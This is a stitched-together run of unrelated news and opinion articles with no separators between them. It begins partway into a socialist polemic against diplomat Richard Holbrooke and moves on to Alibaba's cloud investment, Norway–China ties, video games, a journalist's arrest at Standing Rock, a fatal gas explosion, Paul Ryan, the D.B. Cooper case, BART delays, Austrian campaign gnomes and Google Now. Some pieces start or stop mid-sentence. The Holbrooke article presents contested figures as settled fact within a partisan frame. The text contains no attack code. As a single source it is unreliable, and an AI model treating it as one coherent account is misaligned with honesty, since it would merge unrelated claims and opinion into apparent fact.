More than 20,000 Vietnamese were tortured and executed in the last-named campaign, one of the great unpunished war crimes of the twentieth century. Those educated in this school for mass murder included a who’s who of later top US diplomats, most of them in Democratic administrations. These included Holbrooke, Negroponte, future Clinton National Security Adviser Anthony Lake, future Clinton Defense Secretary Les Aspin, Frank Wisner, a future top State Department official in both the Carter and Clinton administrations, and Peter Tarnoff, Clinton’s deputy secretary of state.
Holbrooke moved up quickly from field officer to become a staff assistant at the US Embassy in Saigon, and then in 1966 joined the White House staff of President Lyndon Johnson, working for Robert Komer, known as “Blowtorch Bob” for his role as chief of the Phoenix Program. Later he moved to the State Department, working as part of the team that drafted the Pentagon Papers, the secret history of US-Vietnam relations leaked to the press by Daniel Ellsberg.
After Republican Richard Nixon won the presidency in 1968, Holbrooke served briefly on the State Department delegation at the Paris Peace Talks, then as head of Peace Corps operations in Morocco, before beginning his second career in investment banking. He worked for Credit Suisse, eventually becoming a vice president. From then on, he alternated between the State Department and Wall Street, depending on the electoral fortunes of the Democratic Party.
Holbrooke and Pol Pot
The press obituaries are silent about the next stage in Holbrooke’s diplomatic career, his four years in the Carter administration, from 1977 to 1981, as assistant secretary of state for Asian affairs. In that capacity, he was the point man for US foreign policy in a region in turmoil after the shattering defeat of the United States in Vietnam, which had weakened pro-US dictatorships in South Korea, the Philippines, Taiwan and Indonesia.
In each of these countries, the Carter administration pursued a policy of propping up the regimes while urging concessions to popular aspirations in order to fend off further revolts. In pursuit of this policy, Washington cultivated “dissident” elements within the local ruling elite, like Benigno Aquino in the Philippines and Kim Dae Jung in South Korea, in some cases intervening to block their execution. The fruits of this policy included agreements negotiated by Holbrooke to extend US basing rights in the Philippines for another five years and to continue US aid to the Indonesian military despite ongoing atrocities in East Timor.
Continuing the rapprochement with the Beijing Stalinist regime begun by Nixon and Kissinger, Carter withdrew official recognition of the Kuomintang regime in Taiwan in 1978 and gave full recognition to the Peoples Republic of China in 1979. This culminated in the tacit US support for China in its reactionary war of aggression launched against Vietnam towards the end of 1979.
Holbrooke played a key role in one of the foulest policies of Washington during this period—its support to the genocidal regime of Pol Pot in Cambodia, which had murdered more than one million people, some 20 percent of the country’s population. The US backing came into the open after the Vietnamese invaded Cambodia and overthrew the Khmer Rouge in December 1978. Author Elizabeth Becker described the US policy in her 1986 book, When the War Was Over, Cambodia and the Khmer Rouge Revolution:
“First and foremost the Vietnamese occupation had to be punished. Propelled by the United States and China, the most severe international sanctions to date were levied against Vietnam for its occupation of Cambodia. By the summer of 1979, the Carter administration had begun a successful campaign to convince other nations as well as charities, international aid organizations, the International Monetary Fund and the World Bank to end aid to Vietnam as well as Cambodia. Holbrooke and his deputy Robert B. Oakley led the fight” (op. cit., p. 446).
The press account and official statements praising Holbrooke for supposedly “saving lives” in the Balkans make no mention of his role in defending the genocidal Khmer Rouge.
Out of office again in 1981, Holbrooke returned to Wall Street, and with great success. He formed an investment advisory firm, Public Strategies, and ultimately sold it for millions to Lehman Brothers, where he became a managing director.
He took time out from these labors to intervene in at least one diplomatic dispute, when an article appeared in Foreign Policy magazine that mildly criticized the record of his crony, John Negroponte, who was ambassador to Honduras during the period when the Reagan administration used the country as the staging area for its “contra” terrorist war against Nicaragua. Holbrooke wrote an angry letter to the magazine, defending Negroponte as “a career foreign service officer who has served with great distinction under every Secretary of State since Dean Rusk.”
The Yugoslav civil war
The bulk of the official praise for Holbrooke stems from his role in the Balkans in the 1990s. After the election of Bill Clinton in 1992, Holbrooke was disappointed in his hopes for high office, offered only the position of US ambassador to the reunified Germany. In 1994, he returned to Washington as assistant secretary of state for European affairs, and focused his efforts on the civil war that erupted in the former Yugoslavia.
The war itself was the byproduct of imperialist intrigues in the Balkans. Germany, flexing its muscles after reunification, recognized both Slovenia and Croatia as soon as they broke away from the federal republic. Both countries were formerly under German domination in the Austro-Hungarian Empire and Croatia had been an allied vassal state of the Nazis during World War II.
The US, after initially backing the federal government in Belgrade, sought influence in the next republic to secede, Bosnia. The Bosnian Serbs, transformed overnight into a minority in the new country, took up arms and a series of atrocities followed, which became known as “ethnic cleansing,” as Serb, Muslim and Croat nationalist forces vied for control of contested territory.
The Clinton administration intervened in 1995 with bombing attacks on the Serbs and forced the leaders of Croatia, Bosnia and the remnant of the federal government, now reduced to the rump of Serbia, Kosovo and Montenegro, to attend talks at an air force base outside of Dayton, Ohio. Holbrooke headed the US delegation and bullied Yugoslav President Slobodan Milosevic, Croatian President Franjo Tudjman and Bosnian President Alija Izetbegovic into a “peace” agreement. The Dayton Accords effectively partitioned Bosnia into two parts, one Muslim-Croat, the other Serb, with the Serbs reduced to minority status and barred from unifying with neighboring Serbia.
In the course of those talks, Holbrooke freely invoked the threat of renewed US military action as well as economic sanctions against Serbia. He later told an interviewer, “The Balkans is an area of very tough, tribal mountain people. And you have to deal with it in an appropriate manner.”
What Holbrooke considered “appropriate” was laid out in his subsequent book celebrating his own achievements at Dayton, in which he boasted about the US backing for the 1995 Croatian offensive in the Krajina, a Serb-populated region of the country. This led to the largest single episode of “ethnic cleansing” of the Yugoslav civil war, with more than 250,000 Serbs driven from their homes and across the border into Bosnia or Serbia.
The US government publicly pretended to oppose the offensive, but Holbrooke and the US ambassador to Croatia, Peter Galbraith, conveyed a different sentiment when they met with Croatian President Tudjman. Holbrooke wrote: “Tudjman wanted clarification of the American position. He bluntly asked for my personal views. I indicated my general support for the offensive, but delayed a more detailed exchange for a second meeting so that I could discuss it with my colleagues and Washington.
“Galbraith and I met with Tudjman alone again on September 17… I told Tudjman the offensive had great value to the negotiations. It would be much easier to retain at the table what had been won on the battlefield than to get the Serbs to give up territory they had controlled for several years.”
Later, when another US official protested that this violated US policy, Holbrooke’s top aide, Robert Frasure, passed a note to Holbrooke. It read: “Dick: We ‘hired’ these people to be our junkyard dogs because we were desperate. We need to try to ‘control’ them. But this is no time to get squeamish about things.” Holbrooke proudly reproduced the note in his memoir as a good example of American toughness.
While the Dayton Accords were counted a relative success for American diplomacy, Holbrooke’s reputation nonetheless came under a more or less public cloud, and he was labeled a bully and a braggart. He also failed to achieve his personal goal of being named secretary of state to succeed Warren Christopher in 1997, with Clinton picking Madeleine Albright instead.
Holbrooke went back to Wall Street, but returned to reprise his role as a US enforcer in the Balkans, traveling to Belgrade as a special presidential envoy to deliver the final US warning to Slobodan Milosevic in March 1999, before the Clinton administration began its two-month bombing campaign against Serbia, which ultimately compelled the Serbian military to withdraw from Kosovo.
Clinton then named Holbrooke to succeed Bill Richardson as US ambassador to the United Nations, a cabinet position that was the highest office he was to attain. In that capacity, one of his first actions was to engineer an extension of the US-backed economic sanctions against Iraq, which in the course of the 12 years between the end of the first Gulf War (1991) and the invasion ordered by George W. Bush (2003) caused the death of a half million Iraqi children.
From Wall Street to Obama
Following the 2000 election, Holbrooke again returned to Wall Street, where, among other lucrative positions, he became a director of the huge financial and insurance conglomerate AIG. In the course of a decade AIG became the largest single issuer of derivatives and played a colossal role in the financial crash of 2008. Holbrooke also reportedly received below-market mortgage loans from Countrywide Financial, the leading mortgage lender, designated as a “friend of Angelo” by the company’s chairman, Angelo Mozilo.
Holbrooke left the board of AIG in July 2008, two months before the collapse, to prepare his return to government with the incoming Democratic administration. Having signed on as the top foreign policy adviser to the campaign of Hillary Clinton, expecting to be named her secretary of state, Holbrooke had bet on the wrong horse. But when Barack Obama picked Clinton to head the State Department, she offered him the lesser post of special envoy for Afghanistan and Pakistan.
There was some internal resistance to this selection, with Vice President Joseph Biden telling Obama, “He’s the most egotistical bastard I’ve ever met,” according the Bob Woodward book Obama’s Wars. Afghan President Karzai clashed with him repeatedly and at one point refused to meet with him. By most accounts, Holbrooke looked on the US enterprise with a jaundiced eye, openly comparing it to Vietnam in an interview with George Packer of the New Yorker.
He was still, however, quite able to perform one of the most essential functions of a US diplomat—barefaced, shameless lying. Thus, after multiple press and eyewitness accounts of US cross-border raids into the tribal territories of Pakistan, he declared publicly in July, “People think that the US has troops in Pakistan. Well, we don’t.”
Holbrooke died an unrepentant advocate of American imperialism. At a conference in Washington September 29, 2010, sponsored by the Office of the Historian of the State Department, Holbrooke defended the war in Vietnam with his characteristic combination of arrogance and self-righteousness. “Our cause—there was nothing wrong with our cause in Vietnam,” he said, in response to a direct question. “But sometimes, even the world’s greatest power can’t achieve its goal. And on that basis, I think you have to evaluate policy.”
The fulsome praise for this “statesman” from Obama and from Bill and Hillary demonstrates the reactionary role of the Democratic Party. Obama was elected in large measure because he successfully appealed to the antiwar sentiments of the American people, particularly in relation to the war in Iraq. But the Democratic Party, like the Republican, is an instrument of the US financial aristocracy, and thus unshakably committed to the defense of American imperialism.
There are dozens of articles on the World Socialist Web Site which reference Holbrooke’s role in the Clinton and Obama administrations, as well as the Wall Street financial crisis. To cite only a few:
April 15, 1999: The US and ethnic cleansing—the case of Croatia
September 28, 1999: Clinton administration blocks easing of sanctions against Iraq
March 24, 2005: Top insurance company mired in allegations of accounting fraud
January 24, 2009: Obama’s new foreign policy team prepares escalated bloodletting in Afghanistan and PakistanJack Ma, founder and executive chairman of Alibaba REUTERS/Lucy Nicholson Chinese e-commerce giant Alibaba is upping its investment in cloud computing, with a new, $1 billion cash infusion, making it more of a competitor to Amazon, Google, and Microsoft than ever before.
The funding will be used to expand Aliyun's international presence, extend its alliance-based ecosystem, and to build new products that it can offer at lower costs, the company announced in a press release.
This is the second of recent signs that Alibaba's getting serious about its cloud business. Just last month, Aliyun signed a series of new partnerships with the likes of Intel and data center company Equinix to localize its cloud offerings without having to build its own new data centers.
Right now, cloud computing only constitutes a small chunk of Alibaba's $2.8 billion in revenue last quarter, but this new investment prove Aliyun doesn't plan to slow down.
Right now, Amazon leads cloud computing in the US, on track to book more than $7 billion this year from its Amazon Web Services infrastructure business — that's than its four closest competitors (Salesforce, Microsoft, IBM, and Google) combined.Norway and China announced Monday the resumption of diplomatic relations, six years after Beijing froze ties with Oslo over the awarding of the Nobel Peace Prize to a Chinese dissident.
The Nobel Peace Prize in October 2010 to human rights activist Liu Xiaobo — imprisoned in his own country by authorities who consider him a “criminal” — had angered the Chinese regime so much that it suspended its ties with Norway.
During a surprise visit to Beijing by Norwegian Foreign Minister Borge Brende on Monday, the two nations issued a joint declaration announcing the thaw in their ties.
“The Norwegian government reiterates its commitment to the one-China policy, fully respects China‘s sovereignty and territorial integrity, attaches high importance to China‘s core interests and major concerns, will not support actions that undermine them, and will do its best to avoid any future damage to the bilateral relations,” the statement said.
Human rights issues were not mentioned in the two-page document.
“We haven’t made any concessions but we have engaged in confidence-building work over a long period of time,” Prime Minister Erna Solberg told reporters in Oslo.
According to Norwegian media, China had demanded an official apology in order to restore ties, but Norway’s government repeatedly refused, insisting that the Nobel Committee was an independent body free to make its own choices.
“The situation since 2010 has been difficult,” Brende said in a press statement issued in Oslo.
“The normalisation of our relationship is the result of long and painstaking diplomatic efforts at many levels to restore trust between our two countries,” he said.
The announcement means talks can now resume on a free trade pact between Norway, rich in raw materials, and China, the world’s second-biggest economy.
The talks were frozen following the Nobel brouhaha.
“There is no doubt that the Norwegian economy has suffered,” Solberg said.
“Even if our trade with China has not decreased, we have not been part of the enormous upswing from China in the same way many other countries have,” she said.
Salmon exports to China, one of Norway’s biggest export items, suffered as a result of the row, dealing a heavy blow to the industry.
On Monday, stocks of salmon producers were up on the Oslo stock exchange.
The resumption of bilateral relations was however not raised at a press briefing at China‘s foreign ministry on Monday.Yes, Crackdown 3 can be completed in under three hours – not that it should be, you understand. Crackdown 3 is a massive, virtual playground of explosions, explosions, and yes, more explosions. There are collectibles, there are bad guys, and there’s the kingpin at the top. Developers Sumo Digital say that a typical playthrough will be in the 12-16 hour range, but it can be bested in around two-and-a-half hours.
Interesting in what else we saw at the Microsoft conference? Check our E3 2017 schedule.
As with previous Crackdown games, the whole island of New Providence can be explored and exploded in any order you choose… meaning you’re able to race to the end in double-quick time, should you wish.
Once you take down the TerraNova Kingpin, that’s game over. So if you take your level five Agent from a previous save into a new game and really blitz it, you’re looking at a decent speedrun.
“That’s what we’re doing internally,” Sumo Digital say, “and we can guarantee that’s what other people will do as well.”
They’re keen to point out that things are still being balanced at this stage, but they’re already seeing QA testers come in at “around two-and-a-half hours” from start to finish. Maybe even quicker, since they’re not finished yet and their QA guys are “inhuman.”
“They can rip through this at staggering speed, they know all the best ways to level,” Sumo Digital say.
Of course, if you’re not gunning for it – and even if you’re on your first run of the game – it will take a lot longer. There are orbs to collect, after all. Orbs!The season hasn’t even started and Dallas Cowboys quarterback Tony Romo has already been dealt a loss.
On Tuesday, a judge in Dallas dismissed a lawsuit filed by Romo’s National Fantasy Football Convention against the NFL in its entirety. Attorneys for The Fan Expo, LLC, claimed the NFL improperly contacted players through the NFL Players Association and their agents — a tactic that contributed to the inaugural Las Vegas event’s cancellation.
Fan Expo lawyers say they will appeal the decision.
Article continues below...
The ruling came after this year’s event, which was scheduled to be held in Pasadena, Calif., next month, was postponed two weeks ago.
Romo didn’t want to go into details when he discussed the postponement earlier this month.
"I haven’t discussed it with [my business partners]," Romo said, via the Dallas Morning News. "I’ve just kind of stayed away from the day-to-day operations.
"Obviously I just want the fans to be able to have a great event. But we’ll see the logistics part and why things happened the way they did. I just don’t have an answer for you as far as what the details were surrounding it all."A time of more DRM-free Telltale games is upon us. We signed the deal, and we're set to unleash a torrent of past and future games from the award-winning adventure game developer! All of the games will premiere with full GOG Galaxy support, that includes Achievements and other goodness like one-click installation, auto-updating, game time tracking and more!The first of our new Telltale releases is available today: Game of Thrones: A Telltale Games Series at 40% off during launch, right on schedule for the worldwide premiere of Game of Thrones: A Telltale Games Series is your chance to not just watch or read about the pathological madness, but to experience and play it out with your own personal touch. This Telltale Game series tells the story of an all-new House of Forrester located somewhere in the north reaches of Westeros. As the War of Five Kings rages, your family is caught in the maelstrom of warfare, revenge, intrigue and horror, in a struggle not to win… but to survive. Game of Thrones: A Telltale Games Series is a brand new side-story that bumps into familiar characters, and weaves across events known from the TV series which echo across the entire known world. The release discount will last until May 30, 12:59 pm GMT.Soon, we'll tell more Telltale tales with, and all seasons of. Stay tuned!A makeshift mug shot of freelance journalist Jenni Monet, who was arrested on Feb. 1. Jail guards wrote the names of those arrested on a sheet of paper and took their pictures with digital camera. The paper in this photo shows the Turtle Mountain Chippewa family name spelling of the name Monette, in which the reporter has roots.(Morton County Sheriff's Office)
Freelance journalist Jenni Monet has been covering the controversial Dakota Access Pipeline and the ongoing protests opposing the $3.8 billion project since September of 2016. Over that time, Monet has witnessed nearly 700 demonstrators, known as “water protectors,” hauled off and arrested by state authorities. On February 1, Monet, who’s been embedded at Standing Rock since December, became one of those arrested — only she wasn’t protesting the construction of the pipeline. She was covering the story.
Monet was restrained with a zip-tie, taken into custody, had a makeshift mug shot taken, and charged with “criminal trespassing” and “engaging in a riot.” Both charges are Class B misdemeanors and carry a maximum sentence of 30 days in jail and/or a $500 fine, Monet told Women in the World in an email interview. Monet said she was one of at least eight journalists who have been arrested covering the story.
“I was taking notes and photos on February 1 as pipeline opponents attempted to establish a new camp on historic Treaty territory,” Monet explained, adding, “I complied with police orders when asked to show my media credentials and was leaving the scene,” when she was detained. In a Medium post Monet published about the experience, originally commissioned by Indian Country Today, she said the officer denied that she presented her credentials and arrested her. But Monet had been recording audio of the exchange and the footage, which she posted on YouTube, contradicts the officer’s actions. Listen to the exchange between them in the clip below.
A day later, Monet, 40, was released on bond. Now she’s digging in for her legal battle, an inconvenient distraction from coverage of the story, which continues to take twists and turns. Last week, CNN reported, the U.S. Army issued the final permitted needed for construction on the pipeline to begin. On Monday, a federal judge was hearing arguments from the Cheyenne River and Standing Rock Sioux tribes to stop construction on the final stretch of controversial project, according to The Associated Press.
“At a time when my focus should be on the developments of this story, at perhaps one of its most critical hours, I instead am forced to fight my own battle in defending my First Amendment rights under the U.S. Constitution,” Monet said. Despite the setback, she vowed the arrest wouldn’t deter her from carrying out her duties as a journalist.
“I have maintained, throughout my near six-months-long reporting of this story to cover this story from all sides, and I will continue to nurture my professional relationships at the state and county level to complete my coverage while demanding my charges be dropped,” Monet, who hails from New York City and was involved behind the scenes last year with the Women in the World New York Summit.
She told Women in the World that several of the publications she writes for, including The Center for Investigative Reporting, High Country News and Yes! Magazine, are demanding the dismissal of the charges against her. And the Oneida Nation, which owns Indian Country Today Media Network, is helping with her legal defense. Monet said she’s very grateful for the outpouring of support amid her plight.
Monet has strived to cover the story from all angles and has been lauded for her balanced and dispassionate approach to her coverage. She was drawn to it, she said, not only because of personal connections — she’s a member of the Laguna Pueblo tribe of New Mexico and has family roots in the Turtle Mountain Chippewa Band of Indians — but because of her belief in the power of journalism for telling an important story.
“For Indigenous People’s, Standing Rock legitimized the struggle that has always been there over the course of the last 500 years of colonization. The fact that the whole world — not just the U.S. — woke up to this reality was something I have never witnessed in my more than a decade of writing exclusively about Indigenous Peoples,” Monet said.
“I think for me personally as an indigenous person and journalist, what this story also represents is an inherent responsibility to tell this story with the kind of nuanced approach that is almost always missed from the journalism community,” Monet said. “I feel a certain mission to tell this story in a way that is perhaps a little less-hyped or romanticized, traits that have been a constant in writing ‘about’ indigenous peoples.”
Looking ahead to her next court date on February 22, Monet said she is calling on Morton County to drop her charges. “It’s wrong and dangerous to charge journalists for a crime when we’re just doing our jobs,” she said. “Journalism is not a crime.”
Related
Malia Obama praised for showing up and taking part in protest
Amy Goodman’s riot charges thrown out, vows to fight attempts to silence press
Women journalists facing arrest and legal action for covering certain protests in the U.S."It was a terrible accident," Clarkstown police spokesman Officer Peter Walker said of the explosion that led to the death of a New City man.
Luis Fernandez and his wife, Ruth, smelled gasoline and went into the garage of their 51 Hansen Ave., home late on Oct. 27, according to an investigation by Clarkstown police. (Photo: TJN file photo) Story Highlights Gas leaking from generator in garage led to explosion that killed New City man
Explosion was a "tragic accident" Clarkstown police said
Injured wife has recovered and left burn unit; husband buried.
A New City couple's attempts to mop up fuel leaking from a portable generator in their garage led to the explosion last month that killed one of them and injured the other, police said Friday.
"It was a terrible accident," said Clarkstown police spokesman Officer Peter Walker. "Anyone would have done the same thing in that circumstance."
Luis Fernandez and his wife, Ruth Fernandez, smelled gasoline and went into the garage of their 51 Hansen Ave. home late on Oct. 27, according to an investigation by Clarkstown police.
When the couple found gasoline leaking from the generator, Ruth Fernandez opened the door to the utility room to get rags to clean up the mess.
When she did that, the pilot light from either the water heater or furnace ignited the gasoline fumes, the investigation found.
CLOSE Firefighters battle a fire at 51 Hansen Ave. in New City in which a man died, Oct. 27, 2014. (Video by GM Productions)
The blast shook the house and killed Luis Fernandez, 67. Ruth Fernandez, 65, suffered serious burns to her hands and face.
She was treated at a New York City burn center and has since been released.
The tragedy serves as a reminder to avoid storing potentially hazardous materials in a garage attached to a house, Walker said.
"You have to check equipment to make sure things aren't leaking," he said.
Funeral services were held earlier this week for Luis Fernandez, who also is survived by his daughter and grandchildren.
Twitter: @JaneLernerNY
Read or Share this story: http://lohud.us/1qu099RNEW draftees are typically a little nervous.
Shy, even.
Not Collingwood recruit Kayle Kirby.
The new Magpie was taken at pick 50 in Friday night’s national draft and was at the pub when he heard the news.
FATHER-SONS: BROWN, DAICOS TO FORGE OWN PATHS
BLOG RE-CAP: GARY BUCKENARA TALKS DRAFT AND ROOKIE DRAFT
“I was (back home) and was with family and friends and most of them were in the pokies,” he said.
“It was (up to) about (pick) 44 so I went in to see if they were winning and I came back (to the TV) and it was on 47. It was either the Dogs or Collingwood that I was hoping to go to, so I thought I’d stay out.
“I had my brother and one mate and we were sitting there and only just heard the TV... Kayle Kirby.
media_camera Collingwood draftees (from left) Kayle Kirby, Sam McLarty (front), Call |
Washington, where he has successfully peddled the fantasy that “America is broke.” The Republican pointman on fiscal matters had even got some Democrats buying into a debate about how to slash the federal deficit that has as its endgame not a balanced budget but the radical restructuring of Medicare and Medicaid and the beginning of a process of privatizing Social Security.
Ryan’s comfortable with the cheers from pundits and political allies, and the undue respect afforded his extreme notions by media outlets that aren’t very good at covering two things: economics and politics. He was even invited to present the Republican response to the State of the Union address (only to be upstaged by the even-more factually challenge Congresswoman Michele Bachmann, R-Presidential Wannabee.)
Ryan’s a rock star in Washington.
But he’s not playing so well at home, in southeast Wisconsin’s 1st district.
His spring recess tour on the towns was supposed to be a triumphal return of a hometown hero turned sudden celebrity. Instead, the tour has the feel of those dismal dates played by the aging rockers in the movie Spinal Tap.
Ryan is playing the same old songs—a chorus of Ronald Reagan’s “We’re Broke, So Let’s Cut Taxes for the Rich” here, a solo version of Barry Goldwater’s “We Can’t Afford Medicare” there—but the crowds aren’t cheering like they used to.
In Milton, Wisconsin, he was confronted with tough questions about his proposal to turn Medicare and Medicaid into voucher programs that will enrich insurance companies and healthcare conglomerates while making it harder for elderly and low-income Americans to get the care they need. Why, his constituents asked, does he want to shift all the burder to working families and those in need? And why does the congressman who whipped fellow Republicans to back the 2008 bank bailouts reject calls for progressive taxation and corporate accountability?
Ryan’s sputtering answers to those questions drew catcalls in Milton and that was just the beginning. And now he’s headed for Kenosha.
There, he’ll be greeted by a “Hands Off Our Medicare” rally that’s the talk of the town.
Ryan will be on the hotseat as Kenosha promises to: “Ask questions and demand answers!”Everyone is looking to the longtail these days, including the government. You remember GoldCorp, Inc right? The Canada-based gold mine that turned to the world in order to find their next mine site in exchange for a cash prize. GoldCorp released some of its internal data and turned it over to the public in order to leverage a larger group of people. Now, in what looks to be a web 2.0 version of America's Most Wanted, the FBI wants you to help them find D.B. Cooper.
Remember him? He hijacked an airplane back in 1971, told the pilot to head to Mexico, and parachuted out of the plane with $200,000 in stolen cash. The case has been reopened, and certain details have been released in order to give you some leads in order to help you help the FBI.
I'm all for crowd-sourcing, and the concept for use with crime cases isn't new by any stretch of the imagination, but the D.B. Cooper case is a classic in American crime history. It's one of the greatest crime mysteries from the 20th century. The good thing about this is that the notability of this crime may be exactly what the FBI needs to get the rest of the world involved.
So while we're getting the entire world involved with the D.B. Cooper case, I thought I'd offer up my two cents on what would make things really interesting.
Turn it into a reality show. With the writers' strike still going strong and no end in sight, what would be better than another reality show that requires no writing talent—just a handful of psychologists willing to put the participants in compromising situations and a producer willing to promote it? The crowd-sourcing task for finding D.B. Cooper would be a great reality show, right?
Start a social network for Cold Cases. Why not reopen loads of closed case files and turn them over to the public? Photo galleries and videos could populate portions of the site, along with discussion boards and forums for a collaborative effort to facilitate the solving of crime around the world. Maybe CBS would even sponsor the network, and finally find a decent entrant into the current world of the web. That's like, free ideas for CBS Cold Case.
Set up a replica in Second Life. Whether the FBI sets up fake cases for Second Life users to solve, or replicates cases that have already been solved, the virtual realm could garner even more support for the branch of the government that remains the most attractive by mysterious merit and a slew of really good movies alone. Then the FBI could team up with CNN for some crowd-sourcing news coverage of the ongoing and solved cases. It would be so like real life.
Any more ideas on how to really get web 2.0 involved with the FBI's new crowd-sourcing efforts? Leave them in the comments below.
[via Suitably Flip]BART recovering after Oakland equipment fix
An equipment problem at BART 12th Street station in Oakland has caused delays systemwide for the morning commute.
An equipment problem at BART 12th Street station in Oakland has caused delays systemwide for the morning commute. Photo: Noah Berger, Special To The Chronicle Photo: Noah Berger, Special To The Chronicle Image 1 of / 1 Caption Close BART recovering after Oakland equipment fix 1 / 1 Back to Gallery
BART service was recovering Wednesday after riders were stuck with major delays for hours due to an equipment problem in downtown Oakland — a problem that was fixed late in the morning, officials said.
In addition to causing delays, the problem had cut off direct BART service from Richmond to Millbrae. The shutdown of the line was required to allow maintenance crews to access the problem area, BART said.
Alicia Trost, a BART spokeswoman, said the widespread delays stemmed from a problem related to the system’s track-switching mechanism in a “very busy area,” where trains converge between the West Oakland, 12th Street and Lake Merritt stations.
In recent weeks, BART has been plagued by a series of equipment problems that have snarled the commute.
On May 6, maintenance crews discovered a 10-inch gap in a rail between the 16th Street/Mission and Civic Center stations in San Francisco. The issue led to systemwide delays and one of the more dreadful days for riders in recent memory.
Evan Sernoffsky is a San Francisco Chronicle staff writer. E-mail: esernoffsky@sfchronicle.com Twitter: @EvanSernoffskyNew Images From ‘Oz: The Great And Powerful’ Released
Sam Raimi will take audiences to the land of Oz once more with Oz: The Great and Powerful, the prequel to The Wizard of Oz. The film reunites Raimi with his Spider-Man trilogy star James Franco, who plays Oscar Diggs, a sideshow magician who lifts off in a hot air balloon with dreams of making it big only to get caught in a storm and crash land in the mystical other world. Earlier this year we saw a trailer and a panel for the film at Comic-Con.
But before Disney can release a new trailer for the film, the studio has released a slew of new images that are sure to whet your Oz appetite. Check them out below.
These new images come courtesy from the people over at USA Today. Though a lot of the images and the info in the article have already been detailed in the first trailer, Raimi talks about the premise of the film and what it means for Franco’s character.
[Franco’s character Oscar Diggs] is mistaken for Oz the Great and Powerful, destined to be the next king of Emerald City. But he’s only to receive that title if he can defeat the Wicked Witch.
That isn’t too much to go on. Perhaps we will see more of Emerald City and a better look at the Wicked Witch herself in action – check out her character poster here – when the new trailer hits the web later this week. Oz: The Great and Powerful opens in theaters on March 8, 2013.
GalleryMetro West and the north-south rail link between Campbelltown and Rouse Hill via Badgerys Creek, should be the two top transport priorities for the State Government, according to the Western Sydney Leadership Dialogue.
“Western Sydney deserves these two rail projects, along with a complete Parramatta light rail network that extends to Epping and Rhodes. We shouldn’t have to choose between the two,’’ says Dialogue chairman Christopher Brown.
“We appreciate the cross political support from NSW Transport Minister Constance and Opposition Leader Luke Foley and urge NSW Treasury and the Commonwealth to provide funding for this project which will then generate billions of dollars of private sector capital via value contribution,’’ he said.
“The urban renewal opportunities that these rail projects will catalyse over the coming decades are too important to miss.
“And if we want to have these links in place by the time the Western Sydney Airport opens in 2026, then things need to ramp up pretty quickly.”
The Western Sydney Leadership Dialogue has welcomed the NSW Government’s commitment to consult with community and industry on the Metro West rail project.
Mr Brown said he was hopeful that the consultation process for the Metro West, connecting the Sydney CBD to Westmead via the Bays Precinct at Rozelle, Sydney Olympic Park, Camellia and Parramatta, would also explore funding and value-capture options.
“The Metro West is a transformative project that will connect two of Australia’s major commercial zones, while also fast-tracking jobs, urban renewal and investment along the Olympic Corridor,’’ he said.
“The clock is firmly ticking on this project, especially when you consider the current capacity issues on the Western Line and a rapidly expanding population that desperately needs efficient transport links that connects our region’s growth areas.
“This steel spine for Sydney is also needed by 2025 to support a potential Western Sydney bid for the 2026 Commonwealth Games.’’A leading Austrian political party has issued a garden gnome alert after 400 of its figurines disappeared from lamp posts used in campaigning.
Placed by the Socialist Party ahead of elections in western Austria, the gnomes were hung three meters from the ground — presumably in part to prevent mass pilfering.
But a party statement Monday said that 400 gnomes, valued at around $4,000, had gone missing over the weekend.
A garden gnome is seen in a flower pot - a possible hiding spot for the missing Austrian figurines. (Sang Tan/Associated Press) The party suspects the heists were less outright theft and more dirty electioneering, accusing the rival conservative People's Party of being behind the disappearances.
It notes that some of the gnomes have been replaced by People's Party posters.
The People's Party denies involvement in the gnome scandal.According to new research recently published in the Journal of Youth Studies, 1 in 5 young people regularly wake up in the night to check or send messages on social media. This nighttime activity could be affecting teenagers’ wellbeing and happiness, as it makes them three times more likely to feel tired at school than their peers who do not log on at night.
More than 900 pupils, aged between 12 and 15 years, took part in the study. The participants were asked to complete a questionnaire about how often they woke up at night to use social media. The times of their waking up and going to bed was also recorded. They were also questioned about how happy they were with several aspects of their life, including appearance, friendships and school life.
One in five reported that they ‘almost always’ woke up at night to log on. Boys were much less likely to access their social media accounts during the night than girls. Those who didn’t wake up at a regular time in the morning, or who woke up to use social media nearly every night, were about three times as likely to say they were continually tired at school when compared to their peers who wake up at the same time every day, or never log on at night. Pupils who said they were tired at school all the time were also, on average, considerably less happy than other young people were.
Professor Sally Power, Co-Director (Cardiff) Wales Institute for Social & Economic Research, Data & Methods (WISERD) and author of the paper, noted that the research shows that a significant but small number of young people and children say that they often go to school feeling tired. These same young people also have the lowest levels of wellbeing. More than one-third of the young people questioned wake up at least once a week to check for messages and one in five wake up every night. The sanctuary of the bedroom is definitely being invaded by the use of social media.
The study results support mounting concerns about the use of social media by young people during nighttime. Because of the complex range of probable explanations for tiredness at school, further larger studies will however be needed before any well-founded conclusions can be made about the social consequences and causes of sleep deficiency among the youth today.If one line goes down in Google’s history from 2015, save the whole Alphabet thing, it will be the full-on pivot to mobile. Each part of the search engine was pushed and pushed to execute on mobile devices, where, Google admitted this year, a bulk of its searches now occur.
Central to that execution is Google Now, the intelligent personal assistant. The product had a landmark year, inking integrations with over 100 apps and unfurling a feature — Now on Tap — essential to Google’s mobile strategy.
Long-promised computing smarts, like voice interaction, are finally beginning to be useful. Once they are, expect them to show up more on our phones, our homes, our cars and so on. It’s a tired analogy, yes, but the movie “Her” is not far off from what tech companies imagine.
Now is Google’s emissary into this future. It’s not alone, though: Rivaling products from Apple, Microsoft, Facebook and a bevy of startups expanded this year and plan to keep going in the next.
Amid the competition, Google Now burrowed deeper into Google’s search organization, shifting over from its birthplace inside Android. That transition signals the priority mobile has in the money-making division. But it also, as Re/code reported, reveals the limitations and pratfalls of the byzantine, often political world of Google.
The Year So Far
Now is a trade-off with users: Let Google peer inside your data — your email, location, calendar, searches, travel history, etc. — and Google will gather what you need for you. It’s designed to let the phone “do the heavy lifting,” as Aparna Chennapragada, the product chief, has said.
To do that, the product has to shake off a reputation for creepiness. Getting more use cases will help. In January, Now added integration with 40 different apps, including Airbnb, Lyft and Spotify. Now feeds content from these apps, at a useful moment (theoretically), to Android owners. In April, Google announced another slate of app partners; its total is 110 as of today.
Think of this as a left flank in Google’s strategy to index the world of mobile apps, placing apps deeper into Google’s virtual assistant.
The right flank is Google inserting itself into apps. Enter Now on Tap. On the latest version of Android, smartphone owners can summon Google’s knowledge graph (a very big one indeed) within other apps with the touch of a button. If it catches on, it could solve a fundamental issue for Google — that it is relied upon less and less on phones. The product was introduced at Google’s developer conference in May but didn’t roll out until October. Last week, it unveiled two new features — flight information and related news articles — along with functionality in six new languages.
